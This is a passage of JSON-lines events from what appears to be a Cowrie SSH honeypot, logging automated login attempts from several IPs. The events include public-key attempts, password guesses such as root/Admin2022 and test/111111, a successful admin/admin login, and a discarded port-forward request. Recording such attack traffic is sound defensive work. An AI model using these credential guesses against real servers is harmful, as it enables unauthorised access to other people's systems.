1c:b3:b2:94:7b:12:30:62:73:70:b6:f3:e9:bb:b4:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:18:14.283855Z","src_ip":"103.112.62.144","session":"084197f4fef3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:b3:b2:94:7b:12:30:62:73:70:b6:f3:e9:bb:b4:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDK7Dy9BUD+av71UFbBhH8dRd7IprVZf1n0ZLzdP4RfbkTNRFUhZQQ5DoWwqdVp983+oXBo7XO2fZtNLIfysWwKKF4Sv8KGB/LnqcmjpcDyqAwNdalTotz22TlPerIe9PtMPTbtxYcafl1fFtT5rGUK44DKGNmtUhKf+7rnmCvIs0kjJ9nQjAMiifSqZdUcNMc43+x+nLVNi4BlQaIVqYasFmcHGJAL++QiAcOWMiMOSWQjQehnqq2E07tvbURBkX+aV8MTnhgWROHd6T9iNR4Hb5cc+6gBzNSwFnKAxFxjUZfXCN1qKmc1X1FTb618b2fN55cIzRZuVDZ07toy/psVdmUDI/Ml30YZyzu7vPCZJO/lUdZbqYV02L7/iL3GLwpQ/Q35/Y2oYGc2OwkFYB5qYXaBvDoVkAQhQzeIxlygzdNXUcOCiIq2aVW68lWi5Yy4L6j7Pw5Bj4eT3Fnpssyv8dqpYRPat+SAEy1nGLAZDmPHYh6IFnSjsIaFc7JEn6va6NwfdHgclZvDbZnAoJrW26v60eJTCaa9btVfwWeAe+q9Z9zQQXDDt2nU4bEsF6f8eWcoJdvHYeo/K3D2NEbe8U6zk8ZxLRQtbXWhaAubYG7INBw9FaKXqeDi5CLyj3KSzOEyzJ2UbsnmKcefDvvAJ9JPvDnJ0QllODLTp4Xd1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:18:14.287433Z","src_ip":"103.112.62.144","session":"084197f4fef3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:cd:38:0c:5a:30:82:95:7b:1b:8e:20:b3:62:60:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWaJNppSGvBLalnTljfWDo8oSuC1CNpMg8iNoVsYQALhAZsmd///dFyQ11dHWKx01sROYq3HXs47tzl5mEChtYNB9imlnB9VYAJazj3etzHfYIzUneIGFDcD7vxEkDzRrfGCTxQpk4rynWX3mIXj5xP5/EoikiZeX5VpcYCfuL5ZjHor4rF+0TVkHiISXFI07h2Zy6g+YJy8mZb0ZHK4ndUunCb5jsygtJ1jezPxv0CA5wjijmonGZz86LAeerZ5TlPz05B/xhhwvxaPv3prTc/UPN27Mpn4rzWHUvMsaz+l6JEppz+9Cv+EloS4m2ua/xvS/U65Dz0Yug018m2LUZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:cd:38:0c:5a:30:82:95:7b:1b:8e:20:b3:62:60:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:18:14.543172Z","src_ip":"103.112.62.144","session":"084197f4fef3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:cd:38:0c:5a:30:82:95:7b:1b:8e:20:b3:62:60:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWaJNppSGvBLalnTljfWDo8oSuC1CNpMg8iNoVsYQALhAZsmd///dFyQ11dHWKx01sROYq3HXs47tzl5mEChtYNB9imlnB9VYAJazj3etzHfYIzUneIGFDcD7vxEkDzRrfGCTxQpk4rynWX3mIXj5xP5/EoikiZeX5VpcYCfuL5ZjHor4rF+0TVkHiISXFI07h2Zy6g+YJy8mZb0ZHK4ndUunCb5jsygtJ1jezPxv0CA5wjijmonGZz86LAeerZ5TlPz05B/xhhwvxaPv3prTc/UPN27Mpn4rzWHUvMsaz+l6JEppz+9Cv+EloS4m2ua/xvS/U65Dz0Yug018m2LUZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:18:14.545372Z","src_ip":"103.112.62.144","session":"084197f4fef3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:7d:b2:22:fd:4f:d5:44:ee:af:89:00:cf:16:12:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDetWBZZV/wyb15oFShK0ewDytiTGGXdxXI0Goe/t6uzHqmP8ULeBkquTePDYWNNpgRjnUXO6dKWQhPE0nAzamy+GR0qJ/aQihWGHdDJzPGGS5jgFbb3AlYLs/PA3bFPGDW73c2YJK2qEkqBEtGN3xK9YdBE86drW3SYfage/6mSwx9eHNBtjd8eQjrWAhDKWaulVgkEAER3uWLKDorzYPCZKIIkJ9V9SDvMjk40wZfx805X8qp7Zh5yOyj0qfRZhX9+ucgujznoETQdmxYVUlwSnuNPXZ81KUjShRiHUlhAAI0a8B9VGeYAH4iIb+ilYVqW66uNZLDIXH7KpnR7F5v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:7d:b2:22:fd:4f:d5:44:ee:af:89:00:cf:16:12:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:18:14.799813Z","src_ip":"103.112.62.144","session":"084197f4fef3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:7d:b2:22:fd:4f:d5:44:ee:af:89:00:cf:16:12:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDetWBZZV/wyb15oFShK0ewDytiTGGXdxXI0Goe/t6uzHqmP8ULeBkquTePDYWNNpgRjnUXO6dKWQhPE0nAzamy+GR0qJ/aQihWGHdDJzPGGS5jgFbb3AlYLs/PA3bFPGDW73c2YJK2qEkqBEtGN3xK9YdBE86drW3SYfage/6mSwx9eHNBtjd8eQjrWAhDKWaulVgkEAER3uWLKDorzYPCZKIIkJ9V9SDvMjk40wZfx805X8qp7Zh5yOyj0qfRZhX9+ucgujznoETQdmxYVUlwSnuNPXZ81KUjShRiHUlhAAI0a8B9VGeYAH4iIb+ilYVqW66uNZLDIXH7KpnR7F5v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:18:14.802468Z","src_ip":"103.112.62.144","session":"084197f4fef3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:64:b6:4f:75:48:42:45:ff:c1:9b:a4:6f:ba:4e:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN1KIq54+MMxkNCE18+E9t0pViWN3Wp0avixnCSZtJSbU37oJxSf+hxN4OinYEMykTb6tAQx2UFlTrasrvpOxcK2l6x4nyYCIcQ8VL7sYkaPVR4JFz48iVy9XYtZAxgD9NPbnw+qvQ5azIg2s2FUnG0JkYU2BgOKojkpxnBfCnbOYnTU09IcFnt0WFMO+81D6v6F6dSRy7pPd7xjJ5vM0ubGxeDdc+OnRetP+liOqLJ6S1aoc1On6ZxqRukooDySY16l7yJe7D2goFyHAs6Y/bHjNmsUNo7XWeuKuACJ8AHEW3qcnRBKmHDG+7N7GnkYDxyHOg3cL9derxjglJXoD3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:64:b6:4f:75:48:42:45:ff:c1:9b:a4:6f:ba:4e:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:18:15.061596Z","src_ip":"103.112.62.144","session":"084197f4fef3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:64:b6:4f:75:48:42:45:ff:c1:9b:a4:6f:ba:4e:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN1KIq54+MMxkNCE18+E9t0pViWN3Wp0avixnCSZtJSbU37oJxSf+hxN4OinYEMykTb6tAQx2UFlTrasrvpOxcK2l6x4nyYCIcQ8VL7sYkaPVR4JFz48iVy9XYtZAxgD9NPbnw+qvQ5azIg2s2FUnG0JkYU2BgOKojkpxnBfCnbOYnTU09IcFnt0WFMO+81D6v6F6dSRy7pPd7xjJ5vM0ubGxeDdc+OnRetP+liOqLJ6S1aoc1On6ZxqRukooDySY16l7yJe7D2goFyHAs6Y/bHjNmsUNo7XWeuKuACJ8AHEW3qcnRBKmHDG+7N7GnkYDxyHOg3cL9derxjglJXoD3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:18:15.064067Z","src_ip":"103.112.62.144","session":"084197f4fef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:18:15.320491Z","src_ip":"103.112.62.144","session":"084197f4fef3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":45072,"dst_ip":"159.203.135.109","dst_port":22,"session":"69ac389918ee","protocol":"ssh","message":"New connection: 27.71.230.31:45072 (159.203.135.109:22) [session: 69ac389918ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:18:49.470181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:18:49.474829Z","src_ip":"27.71.230.31","session":"69ac389918ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:18:52.307820Z","src_ip":"27.71.230.31","session":"69ac389918ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2022","message":"login attempt [root/Admin2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:19:00.466358Z","src_ip":"27.71.230.31","session":"69ac389918ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:19:04.205523Z","src_ip":"27.71.230.31","session":"69ac389918ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":28372,"dst_ip":"10.17.0.5","dst_port":22,"session":"09b5324e0897","protocol":"ssh","message":"New connection: 87.251.64.176:28372 (10.17.0.5:22) [session: 09b5324e0897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:19:24.325188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:19:24.333008Z","src_ip":"87.251.64.176","session":"09b5324e0897","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:19:24.427508Z","src_ip":"87.251.64.176","session":"09b5324e0897","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:19:24.717094Z","src_ip":"87.251.64.176","session":"09b5324e0897","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:19:24.815312Z","session":"09b5324e0897","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:19:24.911987Z","src_ip":"87.251.64.176","session":"09b5324e0897","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:19:25.010947Z","src_ip":"87.251.64.176","session":"09b5324e0897","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":52860,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ff45e6716b5","protocol":"ssh","message":"New connection: 92.207.4.157:52860 (159.203.135.109:22) [session: 3ff45e6716b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:19:25.518951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:19:25.522866Z","src_ip":"92.207.4.157","session":"3ff45e6716b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:19:25.622507Z","src_ip":"92.207.4.157","session":"3ff45e6716b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"111111","message":"login attempt [test/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:19:26.071010Z","src_ip":"92.207.4.157","session":"3ff45e6716b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:19:27.171951Z","src_ip":"92.207.4.157","session":"3ff45e6716b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":58240,"dst_ip":"159.203.135.109","dst_port":22,"session":"480f190b62a4","protocol":"ssh","message":"New connection: 152.32.171.213:58240 (159.203.135.109:22) [session: 480f190b62a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:03.876461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:03.882524Z","src_ip":"152.32.171.213","session":"480f190b62a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:04.102005Z","src_ip":"152.32.171.213","session":"480f190b62a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"Huawei12#$","message":"login attempt [user01/Huawei12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:05.011959Z","src_ip":"152.32.171.213","session":"480f190b62a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:06.234741Z","src_ip":"152.32.171.213","session":"480f190b62a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.71.22","src_port":34522,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f43b2a98b8c","protocol":"ssh","message":"New connection: 103.75.71.22:34522 (10.17.0.5:22) [session: 8f43b2a98b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:16.655586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:16.664977Z","src_ip":"103.75.71.22","session":"8f43b2a98b8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:20:16.795620Z","src_ip":"103.75.71.22","session":"8f43b2a98b8c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:92:5c:ce:62:7d:ac:94:f0:56:5d:1b:12:3f:01:de","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANCN5h60h63zfUZNor70yOYw9AhFrn48finrT9fOqGK9Zn5I6GgS6KpoGcBatsNqvEZwKgXgAWvBJIcFCaRhGJMovrXea+qZl2ZRj7vqt69ztDdEuuGoteXbD8c6hJWPuHFUur3KEfR1Byz4l490M5u20b72sAEdLfHogbbRmRPjAAAAFQCvG+l8HuQOGjkpcNiWllqIkePEuwAAAIAarOxER8fchDoND3rXVo7Rgut5ImM6oHY5UaAJYaua91YL5oXyReM/VDqbok5b/m12ItPT3YROve0kpQdTuOCiXNLpfwHhq3zrhty4fQUUBrbeqa3KiIwsJrmpFORW1Ac/n57lHIOli2niFusdEYO9Pk2tqmEi7juMjdfi8Ss8wAAAAIEAnJGns0WGBVBHj9+y1lJzsluBtfDyChemShgVMFuR1eEuZ+Zd3NYR5uBkpBl6Tv0uDuaKdJYXIktjch2d23+G4tW342jPcS61Qkggh1Jm2djz1xOTWVLusexzIy5z8+XCQwiYjT+ff49o5/sN92YRrgkRDnmTq8ZHVdUK31etbCU=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 